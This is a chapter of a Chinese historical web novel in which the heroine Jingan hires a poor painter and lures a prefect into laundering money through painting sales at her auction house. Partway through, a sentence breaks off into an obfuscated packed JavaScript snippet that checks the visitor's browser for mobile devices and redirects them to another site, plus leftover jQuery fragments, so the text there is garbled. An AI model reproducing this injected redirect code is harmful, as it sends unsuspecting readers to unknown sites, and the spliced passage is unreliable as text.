其实，静安心里没底，青州迟迟没有消息，萧云从催的又紧，她深知，自己时间不多了。


    这些日子，静安忙着开业仪式脚不沾地，此时下人匆匆来报：“小姐，有位自称姓周的画师要见您，说是沈公子邀请他来的。”


    “送他去楼上雅间，我马上到。”


    静安应付完宾客便离席，周旭在房间坐立难安，正想拿起桌上的茶水解渴，静安却在此时推门而入，吓得他手一哆嗦，细腻的白瓷从手中滑落，啪嗒碎了一地。


    “啊，抱歉，是在下不小心，这，这杯子。”


    周旭眼中的惊慌不似作假，店面开业时沈珏花费了大价钱装饰，最普通的茶具都是细白瓷。


    雅间装配的，更是各大窑口精品，加上鎏金的木制屏风和琳琅满目的博古架，无一不在透露出金钱的味道。


    静安粗略地打量了一眼，是普通的白瓷，回头找师傅再配一对就成，还好，亏损不大。


    “周公子想必是舟车劳顿，一时慌了神。小余，进来收拾下，待会送新的来。”


    见静安没有开口提赔偿的事情，周旭暗暗松了一口气，此次出门的盘缠已经是家中的极限了，为了尽快赶到，他坐了半截马车，如今已所剩无几。


    “周公子此次将画都带来了吗？”


    周旭急忙从书箱中掏出宣纸，一张一张叠在桌子上，有些是这段时间赶制出来的，有些陈年旧画，已经破损了。


    “大人，这是在下目前能拿出来的所有作品，不知可有满意的。”


    静安随手翻动了下问道：“哪幅你觉得不错？”


    周旭肉眼可见的慌乱起来，哆哆嗦嗦拿出几幅写意道：“这个系列感觉不错，配色艳而不俗，布局疏密适宜……”


    静安微微抬了一下眼，侧头看着桌上散乱的宣纸：“是吗？”


    说罢她将手往桌边随意一指，“可是我觉得，这幅更好。”


    周旭显然有些不知所云，那幅明显是习作，且还有涂抹，根本就是他随手拿来充数的。


    “大人，这是，是习作啊。”


    “所以你觉得，哪幅画最好？”


    周旭手心出汗，抬头正好对上静安慢悠悠地喝茶，张嘴吐出的字都有些结巴：“自然是，自然是，这幅，这幅是最好的。”


    说着他将静安刚刚指的那幅习作拿了起来，献宝似的捧到静安眼前。


    沈公子给自己介绍的老板怎么如此奇怪，周旭在心里盘算着，她什么意思？


    静安满意看着周旭举起来的画作，并没有伸手接过的意思：“这画，应值多少？”


    经过刚才的谈话，舟旭已经不敢贸然接话，他悄悄观察静安的表情，却发现静安在盯着自己，一瞬间汗毛倒立，连纸都拿不稳了。


    “五两？”周旭小心道，但很显然，不是静安满意的答案。


    十？二十？一百两吗？不对不对，周旭大脑飞速运转。


    接着，他猛地意识到什么，颤颤巍巍道：“这画的钱，自然是老板您定。”


    “不错。”静安满意地拍了拍周旭的肩膀，“周公子是聪明人，我这里不喜欢那些老学究，周公子想在小店做生意，就要知趣些。”


    周旭低头站着，维持举画的姿势，不敢动弹。


    “这里平时清闲，没什么要紧事，不过就是找人喝喝茶，聊聊天。”


    “可一旦有客人，那必定是你我都惹不起的人。周公子这般能屈能伸是好事，你是沈公子介绍来的，我自然是信你。”


    “但，在我这里，什么该说，什么不该说，什么该问，什么不该问，你要明白。”


    “有些事情，打听了，便会招来杀身之祸。”静安轻轻转动茶杯，“若你听话，我保证，你的福气在后头。”


    周旭不知沈公子给自己介绍的，到底是什么样顶好的生意，但此时的他，早已顾不得生死，更别提什么文人风骨。


    如果有大人物可以赏识，那便是再好不过了。


    “你家中妻儿都在凉州？”


    “是的。”


    “我会派人照看，你且放心，至于你，这段时间留在这，我会准备宅院。”


    说着，静安拿起周旭手中的画：“过几日说不定有大人物要来，你若能讨得欢心，荣华富贵，少不了你的。”


    周旭起身，笨拙地行礼，想将自己的画拿走时，静安却将杯盖轻轻放在上面：“小余会给周公子十两作为定金。”


    说着，门外的侍从对着周旭做了一个请的手势。


    周旭迷迷糊糊出了茶楼，走上街道回头望去，发现金灿灿的牌匾上赫然提着三个“秋来阁”。


    “周公子，请上车吧，小的带您去宅子里看看。”


    周旭机械地点头，随着下人的指引坐了上去，马车摇摇晃晃，不知要去往何处。


    静安处理好手头的事情，正要起身拿账本，突然，眼前晃过一份糕点。


    “铛铛，你爱吃的枣泥糕，我还买了只烧鸡。”沈珏拎着大包小包出现在静安面前。


    “别看了，刚开业肯定没什么进账，都是来喝茶的，休息休息，吃点东西，我帮你沏茶。”


    静安接过沈珏手中的糕点放到桌子上，伸手去接沈珏脱下的外袍：“瞧这一路给你累的，先坐下来歇歇。”


    “不累，你交予我的任务，我都办妥了，已经联系了很多鉴赏古玩的说书人，还有一些专门点评画作的，都打点好了，之后他们便会宣传咱们秋来阁，届时生意便能好起来了，你莫担心。”


    静安翻开账本，漫不经心道：“没事，这拍卖行本就是亏的，只希望不要让沈家在我这里亏损得太厉害。”


    “没事，本家不会在意的。”


    虽然门店只是空壳，但静安仍旧在开业这天忙到打烊，天色渐晚，沈珏帮忙清点了最后一批货，两人便准备关门回家了。


    “对了，你给钱行舟送拜帖了吗？怎么没见有人来。”


    静安回忆道：“三天前就专程找人送过去了”


    “这是何意？”沈珏不解道，“难不成，计划失败了？”


    “慌什么，大鱼往往都是要等的。”


    “他们如果有更好的选择怎么办，黑市里洗钱的生意人不在少数，为什么要选咱们？”


    “这就是为什么，我一定要和北珍商行的原因，燕国人对辽国了解不多，北珍商行在燕国亦有分店，但只服务两国商贸往来，且无论哪个商行存取款都要标明来历。”


    “钱洗干净是好事，但是如何存，怎么让人不起疑，都是门道。只有我，能给他们将干净的钱，堂堂正正存入北珍商行的待遇。”


    “他们都以为我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394574|182973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是辽国人，自然用着更放心。”


    沈珏有些害怕，但静安却格外宽心，毕竟这种伎俩，她用过很多次。


    就在两人刚刚踏出门槛的前一秒，小厮将一封信件递了上来：“小姐，少爷，这是知府大人府上送来的帖子。”


    静安与沈珏对视一眼，笑道：“看，大鱼上钩了。”


    静安第二日便去了府上，因为懒得通知萧云从，便只带了阿洲。


    这次大门倒是进得格外顺利，一路畅通无阻地来到偏房，静安还没喘口气，钱府的下人便端上来一大沓宣纸。


    钱行舟没有出现，反而是老管家走上前来：“萧小姐，我家老爷有很多画，一直堆在家中，这画太多，一张一张买太过麻烦，不知萧小姐有没有什么主意？”


    静安瞥了眼堆积的宣纸，有些甚至是空白，此番是在试探静安，这大一笔钱，她能不能解决。


    小小知府手中能有什么巨款，钱，是哪来的呢？


    静安微微一笑，上前装模作样地翻看了一番，故作为难道：“画都是好画，只是这么多，就算是我，也不能保证，都能找到买家。”


    “老爷若是希望这么多画作同时出掉，我倒是还有个好办法。”


    管家眼神划过一丝质疑，但还是礼貌地解释：“老爷今日公务繁忙，怕是不能来了。”


    静安没有回应，如此巨款，可不是能和管家商议解决的。


    “无事，让她进来吧。”钱行舟的声音在内室响起，管家对着屏风鞠躬，接着对静安做了一个请的手势，将其带入内室。


    钱行舟坐在椅子上喝茶，屋内空荡荡的，静安装作为难的样子：“听说大人有公务要处理，倒是我来得不巧了。”


    钱行舟笑笑没接话茬，问道：“你说的好办法，是什么？”


    静安笑着上前：“大人如此喜欢这些画，何不自己挑画师，专门为您创作呢。”


    “什么意思。”


    “这千里马常有，伯乐却难求，大人何不做那伯乐，待千里马飞黄腾达，再来稳赚一笔也不迟。”


    钱行舟似乎很感兴趣，但又顾及什么，迟迟没有动作，只是挥手让下人离开。


    “我不和你卖关子，你这里能收多少？”


    这钱行舟刚刚还一副从容不迫的样子，现在却突然着急，怕是背后之人没给指示。


    “我这个方法，大人这里有多少，我便能收多少。”


    “若大人信任我，我还能做得悄无声息，让所有人都看不出来，就是时间上会久一些，要两个月。”


    钱行舟没办法判断两个月到底长不长，毕竟钱也不是他的，只能硬着头皮让静安继续说下去。


    看来这孙汝舟是铁了心不出现，让钱行舟在前面替自己冲锋陷阵了，老贼，静安心中骂道。


    这次合作，必须抓住孙汝舟这条大鱼，有了他，才能上京城，去做更大的生意。


    “小女子手里有很多怀才不遇的画师，绝对的家世清白，值得信任。”


    “大人若某天，无意中遇到，一位有才之人。街边买画，却连饭都吃不起，花个十两二十两将此人的画买下来。”


    “试问，大人做得有问题吗？言官能弹劾大人吗？朝中御史又能说什么呢？”


    钱行舟被静安的话绕了进去，觉得有理，点头称是。